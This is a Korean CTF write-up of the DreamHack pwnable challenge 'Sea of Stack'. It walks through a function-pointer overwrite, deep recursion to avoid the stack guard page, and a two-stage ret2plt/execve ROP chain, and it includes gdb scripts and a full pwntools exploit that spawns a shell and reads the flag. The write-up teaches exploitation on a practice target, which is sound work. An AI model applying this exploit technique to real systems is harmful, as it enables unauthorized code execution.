문제: DreamHack — Sea of Stack 분류: pwnable 난이도: 🥈 Silver 2 FLAG:
DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}
제목이 먼저 말을 건다. "스택의 바다." 오버플로우를 크게 내긴 하는데, 얕은 곳에서 내면 스택 꼭대기 너머로 흘러 넘쳐 익사(SIGSEGV)해 버린다. 그러면 깊은 곳으로 내려가서 터뜨리면 된다.
보호 기법부터 확인한다.
file extracted/deploy/prob && pwn checksec extracted/deploy/prob
No PIE 라 주소가 고정이고, Full RELRO 라 GOT 는 못 건드린다. 카나리는 없다. SHSTK·IBT(CET)는 ELF 노트에 광고만 돼 있을 뿐 실제 드림핵 실행 환경에서는 강제되지 않아, 평범한 ret2plt ROP 가 그대로 통한다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Sea of Stack |
| 난이도 | 🥈 Silver 2 |
| 분류 | pwnable |
| 제공 파일 | prob(No PIE/Full RELRO/NX/No canary), libc.so.6(glibc 2.35), Dockerfile |
| 핵심 취약점 | 한 번뿐인 임의 쓰기 → 함수 포인터 재배치 → 깊은 재귀로 스택 BOF 되살리기 |
공격 흐름은 세 박자다.
key == "Decision2Solve"를 통과하면 딱 한 번*where = what임의 쓰기가 열린다. 이것으로safe함수 포인터를main으로 덮는다.- 메뉴에서
1을 고르면*safe가 호출되는데, 이제 그게main이라 재귀가 된다. 1500번쯤 반복해 스택을 깊이 판다. - 깊은 곳에서
2를 고르면unsafe_func의read(0x10000)이 가드 페이지에 닿지 않고 들어맞아, 정상 복귀하면서 저장된 복귀 주소를 덮는 스택 BOF 가 완성된다.
🔬 코드 정찰 — main 과 두 개의 함수 포인터
main 의 핵심 구간을 디스어셈블한다. 임의 쓰기 분기와 메뉴 디스패치가 한눈에 들어온다.
objdump -d -M intel --start-address=0x401480 --stop-address=0x401520 extracted/deploy/prob | sed -f solve/caps/annot_main.sed![클릭하여 확대 objdump 로 본 main 디스어셈블리 — strcmp 매직 검사, gotPresent 1회 제한, mov [rdx],rax 임의쓰기, call *safe / call *unsafe 디스패치에 주석](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-sea-of-stack-writeup%2F02_main_disasm.png&w=3840&q=75)
읽어 보면 이렇다.
strcmp(key, "Decision2Solve")가 맞고gotPresent == 0이면, 8바이트where와 6바이트what을 읽어*where = what을 한 번 실행하고gotPresent = 1로 잠근다. 단 한 번뿐인 임의 쓰기다.- 메뉴에서
1→rdx = *safe(0x404010)후call rdx,2→rdx = *unsafe(0x404018)후call rdx. safe·unsafe는.data에 놓인 함수 포인터다. Full RELRO 는 GOT 만 잠그지.data는 그대로 쓰기 가능이라, 한 번뿐인 임의 쓰기의 과녁으로 안성맞춤이다.
이제 두 함수 포인터가 가리키는 실제 함수를 본다.
objdump -d -M intel --start-address=0x4013f0 --stop-address=0x401446 extracted/deploy/prob | sed -f solve/caps/annot_unsafe.sed
safe_func 는 0x30 프레임에 0x29 바이트만 읽고 0x28 을 memset(0) 한다 — 복귀 주소에 닿지 않으니 진짜로 "안전"하다.
unsafe_func 는 0x20 프레임에 0x10000 바이트를 읽는다. 복귀 주소까지 거리는 rbp-0x20 에서 rbp+8 까지 0x28 바이트. 오버플로우 자체는 명백한데, 문제는 그 거대한 읽기를 어떻게 크래시 없이 끝내느냐다.
💣 핵심 1 — 한 번뿐인 임의 쓰기로 *safe = main
과녁은 정해졌다. where = &safe (0x404010), what = main (0x401446). 매직 키를 넣고 8바이트
주소와 6바이트 값을 밀어 넣으면 safe 함수 포인터가 main 으로 바뀐다.
실제로 쓰기 직후 함수 포인터 상태를 gdb 로 확인한다. 쓰기 명령(0x4014cd) 직전에서 멈춰 읽는다.
# solve/caps/arb.gdb
set pagination off
break *0x4014cd
run < solve/caps/arb_input.bin
printf "*safe (0x404010) = %p <- main(0x401446) 으로 덮임\n", *(void**)0x404010
printf "*unsafe (0x404018) = %p <- 그대로(unsafe_func 0x401426)\n", *(void**)0x404018입력은 Decision2Solve\x00\x00 + p64(0x404010) + p64(0x401446)[:6] 이다.
gdb -q -iex "set debuginfod enabled off" -batch -x solve/caps/arb.gdb ./extracted/deploy/prob
*safe = 0x401446 으로 바뀌었다. 이제 메뉴에서 1 을 고르면 safe_func 대신 main 이 불린다.
한 번 더 1 을 고르면 그 안에서 또 main. 재귀가 열렸다.
🌊 핵심 2 — Sea of Stack: 얕으면 익사한다
unsafe_func 로 곧장 들어가 보면 왜 문제 이름이 "스택의 바다"인지 알 수 있다. 얕은 상태에서
read(0x10000) 을 그대로 돌리면 어떻게 되는지 gdb 로 재현한다.
# solve/caps/crash.gdb
set pagination off
run < solve/caps/crash_input.bin
x/i $pc
printf "fault write ptr (rdx) = %p 현재 rsp = %p\n", $rdx, $rsp
bt 3입력은 매직 불일치 키(WRONGKEY00000000) + 메뉴 2 + A 범람이다. read_input 은 버퍼에서
높은 주소 방향(스택 꼭대기)으로 한 바이트씩 쓴다.
gdb -q -iex "set debuginfod enabled off" -batch -x solve/caps/crash.gdb ./extracted/deploy/prob
read_input+114 의 mov %al,(%rdx) 에서 터졌고, 쓰기 포인터 rdx 는 0x7ffffffff000 —
스택 매핑 바로 위의 가드 페이지다. 얕은 프레임에서는 꼭대기까지 공간이 0x10000 보다 좁아서,
읽기를 끝내기도 전에 넘쳐 익사한다. 복귀 주소를 덮을 기회조차 없다.
해법은 반대 방향이다. 스택을 깊이 내려가면 프레임 위로 꼭대기까지의 여유(headroom)가 넓어진다.
main 재귀 한 층이 rsp 를 약 0x40 씩 내리므로, 1500층이면 0x40 × 1500 ≈ 0xea60 을 훌쩍
넘는 여유가 생겨 0x10000 쓰기가 가드에 닿지 않고 깔끔히 끝난다.

정리하면, unsafe_func 의 오버플로우를 쓸 수 있는 BOF 로 "되살리는" 열쇠가 바로 재귀 깊이다.
🎯 익스플로잇 설계 — 다이브 후 2단 ROP
깊은 곳에서 BOF 가 서면, 복귀 주소(buf 에서 0x28)부터 ROP 체인을 올린다. No PIE 라 바이너리
가젯 주소는 고정이지만 libc 는 ASLR 로 움직이니, 1단에서 libc 를 흘리고 2단에서 셸을 띄우는
2단 구성이 자연스럽다.
- 1단 (ret2plt 릭):
puts(puts@got)로 libc 의puts실측 주소를 흘린다. 정렬용ret하나를 끼우고main으로 복귀한다. 복귀해도 깊은 스택은 유지된다. - 2단 (execve): 여전히 깊은 상태에서 다시
unsafeBOF 를 내execve("/bin/sh", NULL, NULL)로 셸.system대신execve를 쓰는 이유는, 오버플로우로 아래쪽 스택·환경이 엉망이 된 상태라 환경을 타지 않는 직통 호출이 안전하기 때문이다.
쓰는 가젯은 바이너리에서 pop rdi ; nop ; pop rbp ; ret(0x40129b)·ret(0x40101a), libc 에서
pop rsi ; ret(+0x2be51)·pop rdx ; pop rbx ; ret(+0x90529) 이다. ROPgadget 으로 각각
덤프해 두고 필요한 가젯만 추린다.
ROPgadget --binary extracted/deploy/prob > solve/caps/gadgets_prob.txt
ROPgadget --binary solve/caps/system_libc.so.6 > solve/caps/gadgets_libc.txt
grep -E " : (pop rdi ; nop ; pop rbp ; ret|ret)$" solve/caps/gadgets_prob.txt
grep -E " : (pop rsi ; ret|pop rdx ; pop rbx ; ret)$" solve/caps/gadgets_libc.txt
libc 가 두 개인 함정
Dockerfile 을 보면 RUN export LD_PRELOAD='/libc.so.6' 이 있는데, 이건 빌드 단계의 셸 변수라
런타임 CMD 에는 전혀 상속되지 않는다. 즉 서비스는 제공된 libc 가 아니라 베이스 이미지의
시스템 libc 로 돈다. 다행히 두 libc(제공 2.35-0ubuntu3.1 vs 시스템 2.35-0ubuntu3)는 우리가
쓰는 오프셋이 전부 같아서 결과적으로 무해하다 — 하지만 확인은 하고 넘어간다.
python3 solve/caps/libc_check.py
▶🐛 삽질 — 동기화를 시간(sleep)으로 맞추다 비결정적으로 멈췄다
처음엔 재귀 1500층을 한 번에 다 밀어 넣고 recvrepeat(1.2) 로 메뉴 출력이 잦아들 때까지
기다리는 식으로 동기화했다. 로컬에서 한 번은 됐는데, 다시 돌리면 같은 코드가 응답 사이 간격을
잘못 재 무한정 멈추는 일이 재연됐다. 네트워크 구간이 끼면 더 심했다.
문제는 read_input(16바이트)과 read_number(14바이트)가 정확한 바이트 수를 소비한다는
점을 활용하지 못한 것이었다. 시간 기반 대기를 버리고, 프롬프트 > 가 올 때마다 다음 한 조각을
보내는 recvuntil(b'> ') 락스텝으로 바꾸니 TCP 단편화와 무관하게 결정적으로 동작했다.
로컬·원격 모두 한 번에 통과했다.
🚀 Full Exploit
재귀 다이브와 2단 ROP 를 한 스크립트에 담았다. python3 solve/solve.py 는 로컬 도커,
python3 solve/solve.py remote <host> <port> 는 원격이다.
#!/usr/bin/env python3
# Sea of Stack — DreamHack (Silver 2, pwnable)
import sys
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
BASE = '/home/jinho/Dev/Hacking_Project/워게임/2_Silver_2/sea-of-stack'
REMOTE = len(sys.argv) > 1 and sys.argv[1] == 'remote'
# Dockerfile 의 LD_PRELOAD 는 런타임 무효 → 서비스는 시스템 libc 로 돈다.
# 제공 libc 와 시스템 libc 의 오프셋이 같아 어느 쪽으로 풀어도 동일하다.
LIBC_PATH = (BASE + '/extracted/deploy/libc.so.6') if REMOTE else '/tmp/container_libc.so.6'
libc = ELF(LIBC_PATH, checksec=False)
# --- binary (No PIE, base 0x400000) ---
MAIN = 0x401446
SAFE = 0x404010 # &safe 함수 포인터
POP_RDI = 0x40129b # pop rdi ; nop ; pop rbp ; ret
RET = 0x40101a # ret (16바이트 정렬용)
PUTS_PLT = 0x4010c0
PUTS_GOT = 0x403fa8
MAGIC = b'Decision2Solve\x00\x00' # 16바이트, 매직 널 종료
DEPTH = 1500 # 재귀 깊이 (~0x40/층 >> 0x10000)
OFF = 0x28 # unsafe_func 복귀 주소 오프셋
BIG = 0x10000 # unsafe_func read 크기
def conn():
if REMOTE:
return remote(sys.argv[2], int(sys.argv[3]))
return remote('127.0.0.1', 31337)
def payload(rop):
return (b'A' * OFF + rop).ljust(BIG, b'A')
def enter_main(io, first=False):
# 새 main 진입 상태. 키를 넣는다. 최초 호출에서만 *safe = main 임의쓰기.
io.recvuntil(b'> ') # "If you really want...> "
if first:
io.send(MAGIC) # key (strcmp 통과)
io.send(p64(SAFE)) # where (8바이트)
io.send(p64(MAIN)[:6]) # what (6바이트) -> *safe = main
else:
io.send(b'A' * 16) # 매직 불일치 -> 쓰기 분기 스킵
io.recvuntil(b'> ') # "Sea of Stack ... > " 메뉴
def exploit(io):
# ---- 1단: 깊이 다이브 -> unsafe BOF -> puts 릭 -> main 복귀 ----
enter_main(io, first=True)
io.send(b'1') # choice 1 -> *safe == main -> 재귀
for _ in range(DEPTH - 1):
enter_main(io)
io.send(b'1')
enter_main(io) # 가장 깊은 프레임
io.send(b'2') # choice 2 -> unsafe_func
io.send(payload(flat(POP_RDI, PUTS_GOT, 0, PUTS_PLT, RET, MAIN)))
leak = u64(io.recvn(6).ljust(8, b'\x00'))
base = leak - libc.symbols['puts']
if base & 0xfff:
raise ValueError('unaligned leak %#x' % leak)
libc.address = base
log.success('puts@got leak = %#x libc base = %#x', leak, base)
# ---- 2단: 여전히 깊음 -> unsafe BOF -> execve("/bin/sh", 0, 0) ----
enter_main(io) # main 이 여기로 복귀, 다이브 유지
io.send(b'2')
binsh = next(libc.search(b'/bin/sh\x00'))
pop_rsi = libc.address + 0x2be51 # pop rsi ; ret
pop_rdx_rbx = libc.address + 0x90529 # pop rdx ; pop rbx ; ret
execve = libc.symbols['execve']
io.send(payload(flat(POP_RDI, binsh, 0,
pop_rsi, 0,
pop_rdx_rbx, 0, 0,
execve)))
def main():
io = conn()
exploit(io)
io.sendline(b'echo PWNED_$((21*2)); id; cat /flag')
resp = io.recvrepeat(3)
sys.stdout.write(resp.decode(errors='replace'))
if b'PWNED_42' in resp or b'DH{' in resp:
if REMOTE and sys.stdin.isatty():
io.interactive()
io.close()
return True
io.close()
return False
if __name__ == '__main__':
sys.exit(0 if main() else 1)프로토콜을 recvuntil(b'> ') 락스텝으로 끌고 가는 게 요령이다. read_input 과 read_number
가 각각 정확한 바이트 수를 소비하므로, 프롬프트에 맞춰 한 조각씩 보내면 TCP 단편화와 무관하게
1500층 다이브가 결정적으로 돌아간다.
먼저 로컬 도커로 검증한다.
python3 solve/solve.py
릭이 깔끔히 정렬되고(& 0xfff == 0) 셸을 잡아 uid=1000(sea_of_stack) 과 로컬 더미 플래그까지
확인된다. 이제 원격으로 올린다.
🏁 원격 플래그
같은 스크립트를 라이브 서버에 그대로 조준한다. 단일 연결로 1단 릭 → 2단 execve 가 한 번에 통한다.
python3 solve/solve.py remote host3.dreamhack.games 16381
DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}📝 결론
한 번뿐인 능력은 "고정점"에 쓴다.
임의 쓰기가 단 한 번이면 보통 아깝지만, 여기서는 .data 의 함수 포인터 하나를 main 으로
바꾸는 데 쓰는 것만으로 무한 재귀라는 새 원시(primitive)가 열렸다. GOT 가 잠겨 있어도
Full RELRO 밖의 쓰기 가능한 포인터는 늘 남는다.
오버플로우는 크기보다 "위치"다.
같은 read(0x10000) 인데 얕으면 익사하고 깊으면 무기가 된다. 스택의 어느 깊이에서 터뜨리느냐가
성패를 갈랐다. 재귀로 여유 공간을 벌어 가드 페이지를 피한 발상이 이 문제의 전부다.
동기화는 시간이 아니라 구조로 맞춘다.
read 가 정확한 바이트 수를 소비한다는 사실 하나로 recvuntil 락스텝이 성립했다. sleep
기반 동기화는 로컬에선 통해도 네트워크가 끼면 비결정적으로 무너진다 — 프로토콜의 결정적 경계를
찾아 거기에 맞추는 게 언제나 더 튼튼하다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…